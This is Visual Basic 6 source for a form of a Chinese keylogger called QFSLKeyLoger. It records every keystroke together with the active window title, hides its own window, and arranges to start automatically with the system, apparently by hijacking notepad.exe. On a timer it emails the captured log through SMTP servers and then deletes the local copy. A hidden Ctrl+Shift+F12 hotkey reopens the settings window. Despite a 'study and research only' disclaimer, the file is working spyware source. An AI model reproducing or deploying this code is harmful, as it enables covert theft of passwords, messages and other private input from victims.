formmain.frm

捕获键盘操作的记录

            Width           =   495
         End
      End
      Begin VB.Label Label4 
         Caption         =   "欢迎访问我的个人主页http://qfsl.51.net/"
         ForeColor       =   &H000000FF&
         Height          =   255
         Left            =   240
         TabIndex        =   46
         Top             =   2280
         Width           =   3615
      End
   End
   Begin VB.Timer Timer_send 
      Enabled         =   0   'False
      Interval        =   10000
      Left            =   4080
      Top             =   0
   End
   Begin VB.Timer Timer1 
      Enabled         =   0   'False
      Interval        =   1
      Left            =   3480
      Top             =   120
   End
   Begin VB.Frame Frame1 
      Height          =   1095
      Left            =   0
      TabIndex        =   1
      Top             =   3120
      Width           =   4455
      Begin VB.CommandButton Command2 
         Caption         =   "保存设置"
         Height          =   735
         Index           =   1
         Left            =   1200
         Picture         =   "Formmain.frx":2860
         Style           =   1  'Graphical
         TabIndex        =   3
         Top             =   240
         Width           =   975
      End
      Begin VB.CommandButton Command2 
         Caption         =   "终止运行"
         Height          =   735
         Index           =   3
         Left            =   3360
         Picture         =   "Formmain.frx":35A2
         Style           =   1  'Graphical
         TabIndex        =   5
         Top             =   240
         Width           =   975
      End
      Begin VB.CommandButton Command2 
         Caption         =   "取消设置"
         Height          =   735
         Index           =   2
         Left            =   2280
         Picture         =   "Formmain.frx":39E4
         Style           =   1  'Graphical
         TabIndex        =   4
         Top             =   240
         Width           =   975
      End
      Begin VB.CommandButton Command2 
         Caption         =   "浏览记录"
         Default         =   -1  'True
         Height          =   735
         Index           =   0
         Left            =   120
         Picture         =   "Formmain.frx":4192
         Style           =   1  'Graphical
         TabIndex        =   2
         Top             =   240
         UseMaskColor    =   -1  'True
         Width           =   975
      End
   End
   Begin MSComDlg.CommonDialog cmdg1 
      Left            =   0
      Top             =   0
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
      FileName        =   "keylog.dat"
   End
   Begin VB.Timer Timer_stop 
      Enabled         =   0   'False
      Interval        =   10000
      Left            =   3600
      Top             =   360
   End
   Begin MSComctlLib.TabStrip TabStrip1 
      Height          =   3135
      Left            =   0
      TabIndex        =   47
      Top             =   0
      Width           =   4455
      _ExtentX        =   7858
      _ExtentY        =   5530
      _Version        =   393216
      BeginProperty Tabs {1EFB6598-857C-11D1-B16A-00C0F0283628} 
         NumTabs         =   4
         BeginProperty Tab1 {1EFB659A-857C-11D1-B16A-00C0F0283628} 
            Caption         =   "运行设置"
            ImageVarType    =   2
         EndProperty
         BeginProperty Tab2 {1EFB659A-857C-11D1-B16A-00C0F0283628} 
            Caption         =   "邮件设置"
            ImageVarType    =   2
         EndProperty
         BeginProperty Tab3 {1EFB659A-857C-11D1-B16A-00C0F0283628} 
            Caption         =   "存储设置"
            ImageVarType    =   2
         EndProperty
         BeginProperty Tab4 {1EFB659A-857C-11D1-B16A-00C0F0283628} 
            Caption         =   "  关于  "
            ImageVarType    =   2
         EndProperty
      EndProperty
   End
   Begin VB.TextBox txtkeylog 
      Height          =   3015
      Left            =   0
      Locked          =   -1  'True
      MultiLine       =   -1  'True
      TabIndex        =   0
      Top             =   0
      Width           =   4095
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
' 声明: 本源程序，仅供学习与研究！！
'请使用者注意，对使用本软件所引起的问题一概与本人无关！！
'如果你要修改的话，请不要把这段话删节！！谢谢！！
'-------------------------------------
'我的QQ：7690080
'我的信箱：[e-mail]
'我的个人主页：http://qfsl.51.net/
'-------------------------------------
' 用了keyghost后感觉已过时（不能发送邮件），而且还要注册，很不爽，只好自己动手丰
'衣足食！我按其界面仿写了这个LOGER，由于时间问题，还有一些功能没有加上！：-）
'有什么问题可以和我联系，希望与大家一同进步。
Option Explicit
Dim strWindow As String

Private Sub Check1_Click()
    Text2.Enabled = Check1.Value
    Text3.Enabled = Check1.Value
    Text2.BackColor = IIf(Text2.Enabled, &H80000005, &H80000000)
    Text3.BackColor = Text2.BackColor
    Command1.Enabled = Check1.Value
End Sub

Private Sub Check2_Click()
    Text7.Enabled = Check2.Value
    Text7.BackColor = IIf(Text7.Enabled, &H80000005, &H80000000)
End Sub

Private Sub Check3_Click()
    Text8.Enabled = Check3.Value
    Text8.BackColor = IIf(Text8.Enabled, &H80000005, &H80000000)
End Sub

Private Sub Check4_Click()
    Text6.Enabled = Check4.Value
    Text6.BackColor = IIf(Text6.Enabled, &H80000005, &H80000000)
End Sub

Private Sub Command1_Click() '进行发送邮件的测试
     On Error Resume Next
    Dim i As Integer
    
    Form2.Show , Me
    Command1.Enabled = False
    For i = 0 To 3: Command2(i).Enabled = False: Next
       
    test = True
    SendEmail Combo1.Text, Text2.Text, Text1.Text, _
        Text1.Text, Text1.Text, "键盘记录测试", _
        "QFSLKeyLoger1.0 键盘记录测试", Text3.Text, Text2.Text, _
        Check1.Value
    Command1.Enabled = True
    For i = 0 To 3: Command2(i).Enabled = True: Next
    
    test = False
    Unload Form2
End Sub

Private Sub Command2_Click(Index As Integer)
    On Error Resume Next
    Select Case Index
        Case 1
            Form1.Visible = False
            writeinilog AppPath
            writeinilog syspath2
            readinilog
            
            Timer_send.Enabled = IIf(Check4.Value, True, False)
            
            If stoptime <> 0 And stopp <> 0 Then
                Timer_stop.Enabled = True
                log_time = Time + Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "stoptime")) * 0.000694444444
            Else
                Timer_stop.Enabled = False
            End If
            
            If autorun <> 0 Then
                hideme
            Else
                If MsgBox("如果不选“开机自动运行”，将不会修改系统设置，但只有这次进行记录，不会自动运行。是否重新设置？", _
                    vbQuestion + vbYesNo) = vbYes Then Form1.Show: Exit Sub
            End If
            strWindow = Trim(GetCaption(GetForegroundWindow))
            Timer1.Enabled = True
        Case 0
             Frmkeylog.Show , Me
        Case 2
             Form1.Visible = False
             strWindow = Trim(GetCaption(GetForegroundWindow))
             Timer1.Enabled = True
        Case 3
            uninstall
        '    MsgBox "请将系统目录下了NOTEPAD.EXE删除，并将NOTEPAD_BACKUP.EXE命名为NOTEPAD.EXE。清风键盘记录将从这个系统中删除！否则将不能正常使用记事本！", vbInformation, "注意"
            End
    End Select
End Sub

Private Sub Command3_Click()
    cmdg1.InitDir = App.Path
    cmdg1.ShowSave
    Text4.Text = cmdg1.Filename
End Sub

Private Sub Command4_Click()
     On Error Resume Next
    If MsgBox("你确定吗？", vbYesNo + vbQuestion, "确定") = vbYes Then
        If Dir(Text4.Text) <> "" Then Kill Text4.Text
    End If
    
End Sub

Private Sub Command5_Click()
    Form3.Show , Me
End Sub

Private Sub Form_Load()
    On Error Resume Next
    Dim cmd As String
    Dim rc As Long, OwnerhWnd As Long
    syspath
    cmd = Command()
    If cmd <> "" And Right(Left(cmd, 2), 1) = ":" Then Shell syspath2 & "\notepad.exe  " & cmd, vbNormalFocus
    
    If App.PrevInstance = True Then End
    setdata
    OwnerhWnd = GetWindow(Me.hWnd, 4)
    rc = ShowWindow(OwnerhWnd, 0)
    
    AppPath = IIf(Right(App.Path, 1) = "\", Left(App.Path, Len(App.Path) - 1), App.Path)
    
    If Dir(AppPath & "\QFSLKeylog.ini") <> "" Then readinilog Else: filepath = AppPath & "\keylog.dat"
       
    If Text4.Text = "" Then
        Text4.Text = AppPath & "\keylog.dat"
    Else
        Open filepath For Append As #1
        Close #1
    End If
    
    Combo1.AddItem "smtp.163.com"
    Combo1.AddItem "smtp.tom.com"
    Combo1.AddItem "smtp.sohu.com"
    Combo1.AddItem "mail.edu.cn"
    
    lblDisclaimer.Caption = "声明: 本软件是免费软件，仅供学习与研究！！ " & Chr(13) & _
        "请使用者注意，对使用本软件所引起的问题一概与本人无关！！"
    
    lblDescription.Caption = "我的QQ：7690080    " & _
        "我的信箱：[e-mail]" & Chr(13) & _
        "用了keyghost后感觉已过时（不能发送邮件），而且还要注册，很不爽，只好自己动手丰" & _
        "衣足食！我按其界面仿写了这个LOGER，由于时间问题，还有一些功能没有加上！：-）" & Chr(13) & _
        "本程序用VB写的，要源码的号可以和我联系，希望与大家一同进步。"
        
    If autorun <> 0 Then
        Form1.Visible = False
        If cmd = "" Then
            hideme
        End If
        strWindow = Trim(GetCaption(GetForegroundWindow))
        Timer1.Enabled = True
    Else
        If stopp = 0 Then
            uninstall
            If cmd = "" Then Form1.Visible = True
        End If
    End If
    
    If stoptime <> 0 And stopp <> 0 Then Timer_stop.Enabled = True: _
         log_time = Time + Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "stoptime")) * 0.000694444444
         
End Sub
Private Sub TabStrip1_Click()
    Select Case TabStrip1.SelectedItem.Index
    Case 1
        Frame5.Visible = False
        Frame9.Visible = False
        Frame10.Visible = False
        Frame11.Visible = True
    Case 2
        Frame5.Visible = True
        Frame9.Visible = False
        Frame10.Visible = False
        Frame11.Visible = False
    Case 4
        Frame5.Visible = False
        Frame9.Visible = False
        Frame10.Visible = True
        Frame11.Visible = False
    Case 3
        Frame5.Visible = False
        Frame9.Visible = True
        Frame10.Visible = False
        Frame11.Visible = False
   End Select
End Sub

Private Sub Timer_send_Timer()
     On Error Resume Next
    Dim tend As String, tendd As String
    If Dir(filepath) <> "" And filepath <> "" And Right(Left(filepath, 3), 2) = ":\" Then
        If FileLen(filepath) > filelenth * 1000 Then
            Open filepath For Input As #1
               Do Until EOF(1)
                   Line Input #1, tend
                   tendd = tendd & Chr(13) & Chr(10) & tend
               Loop
            Close #1
            tendd = Right(tendd, Len(tendd) - 2)
            Timer_send.Enabled = False
            SendEmail server, "qfsl", receive, "qfsl" _
                , receive, TOPIC, tendd, SMTPpwd, SMTPuser, smtp
            If sucss = True Then sucss = False: Kill filepath
            Form2.Winsock1.Close
        End If
    End If
    
End Sub

Private Sub Timer_stop_Timer()
    If Time > log_time Then End
End Sub

Private Sub Timer1_Timer()
     On Error Resume Next
    ''如果取得的窗口标题不是前面变量中存储的标题，则重新改变设置变量的值，并且重新设置键 盘 '记录 '内容
    If Trim(strWindow) <> Trim(GetCaption(GetForegroundWindow)) Then
        If if_hav_data(txtkeylog.Text) = True Then
            If Dir(filepath) <> "" And filepath <> "" Then
                Open filepath For Append As #1
            Else
                Open App.Path & "\keylog.dat" For Append As #1
            End If
            Write #1, txtkeylog.Text & Chr(13) & Chr(10)
            Close #1
        End If
    '   清空TextBox控件的内容以释放内存
        txtkeylog.Text = ""
        strWindow = Trim(GetCaption(GetForegroundWindow))
        txtkeylog.Text = txtkeylog.Text & Chr(13) & Chr(10) & "[" & Time & " - 窗口： " & strWindow & "]" & Chr(13)
    End If
    ''下面的程序将记录键盘的操作，并保存在TextBox控件中
    '' 按Ctrl lngShift + F12则呼叫本程序

    Dim lngKeyState As Long, i As Integer
    Dim lngShift As Long
    lngShift = GetAsyncKeyState(vbKeyShift)
    '记录 大写字母和小写字母
    For i = vbKeyA To vbKeyZ
        lngKeyState = GetAsyncKeyState(i)
        If (CapsLockOn = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CapsLockOn = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
            txtkeylog.Text = txtkeylog.Text + Chr(i)
        End If
        If (CapsLockOn = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CapsLockOn = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
            txtkeylog.Text = txtkeylog.Text + Chr(i + 32)
        End If
    Next
    '记录 数字和号
    For i = vbKey0 To vbKey9
        lngKeyState = GetAsyncKeyState(i)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
            txtkeylog.Text = txtkeylog.Text & Chr(i)
        End If
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
            txtkeylog.Text = txtkeylog.Text + KeyNumStr(i - vbKey0)
        End If
    Next
    For i = 1 To 51
        lngKeyState = GetAsyncKeyState(vbkeynum(i))
        If (lngKeyState And &H1) = &H1 Then
            txtkeylog.Text = txtkeylog.Text + vbkeyname(i)
        End If
    Next
    For i = 52 To 62
        lngKeyState = GetAsyncKeyState(vbkeynum(i))
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
            txtkeylog.Text = txtkeylog.Text + vbkeyname(i)
        End If
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
            txtkeylog.Text = txtkeylog.Text + vbkeyname2(i)
        End If
    Next
    ' 当按下Ctrl Shift + F12时出现系统设置画面
    lngKeyState = GetAsyncKeyState(vbKeyF12)
    If lngShift <> 0 And GetAsyncKeyState(vbKeyControl) And lngKeyState Then
        If askpwd <> 0 Then
            If Me.Visible = False Then frmpass.Show: frmpass.Text1.SetFocus
        Else
            Form1.Visible = True
        End If
    End If
End Sub